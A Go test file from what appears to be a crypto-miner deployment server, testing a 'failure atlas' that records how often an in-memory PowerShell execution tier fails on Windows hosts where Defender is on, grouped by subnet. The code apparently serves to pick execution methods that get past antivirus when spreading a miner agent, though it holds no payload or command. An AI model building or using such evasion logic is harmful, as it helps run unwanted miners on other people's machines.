d9f36f182c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
70 lines
1.9 KiB
Go
70 lines
1.9 KiB
Go
package atlas
|
|
|
|
import (
|
|
"testing"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/strategy"
|
|
)
|
|
|
|
func TestRecordFiveDefenderPowerShellFailuresSkipSubtree(t *testing.T) {
|
|
database, err := db.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
|
|
fp := strategy.HostFingerprint{GOOS: "windows", AVBlocks: true, Subnet: "192.168.1"}
|
|
key := fp.Key()
|
|
atlas := NewFailureAtlas(database)
|
|
|
|
for i := 0; i < 5; i++ {
|
|
if err := atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
probes := ProbeSnapshot{DefenderOn: true, PowerShell: true, Docker: true, WSL: true, DotNet: true}
|
|
if !atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
|
t.Fatal("expected ps_inmemory subtree skip after 5 defender failures")
|
|
}
|
|
|
|
rules, err := atlas.GetAtlasRules(key, fp.GOOS)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(rules) == 0 || rules[0].FailCount < MinFailCountForSubtree {
|
|
t.Fatalf("expected active atlas rule, got %+v", rules)
|
|
}
|
|
|
|
skips, err := atlas.ComputeSkips(fp, nil, nil, boolPtr(true))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(skips) == 0 || skips[0].Tier != "ps_inmemory" {
|
|
t.Fatalf("expected ps_inmemory atlas skip, got %+v", skips)
|
|
}
|
|
}
|
|
|
|
func TestShouldSkipSubtreeRequiresActiveCondition(t *testing.T) {
|
|
database, err := db.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
|
|
fp := strategy.HostFingerprint{GOOS: "windows", Subnet: "10.0.0"}
|
|
key := fp.Key()
|
|
atlas := NewFailureAtlas(database)
|
|
for i := 0; i < 5; i++ {
|
|
_ = atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn})
|
|
}
|
|
|
|
probes := ProbeSnapshot{DefenderOn: false, PowerShell: true}
|
|
if atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
|
t.Fatal("should not skip when defender condition is inactive")
|
|
}
|
|
}
|
|
|
|
func boolPtr(v bool) *bool { return &v }
|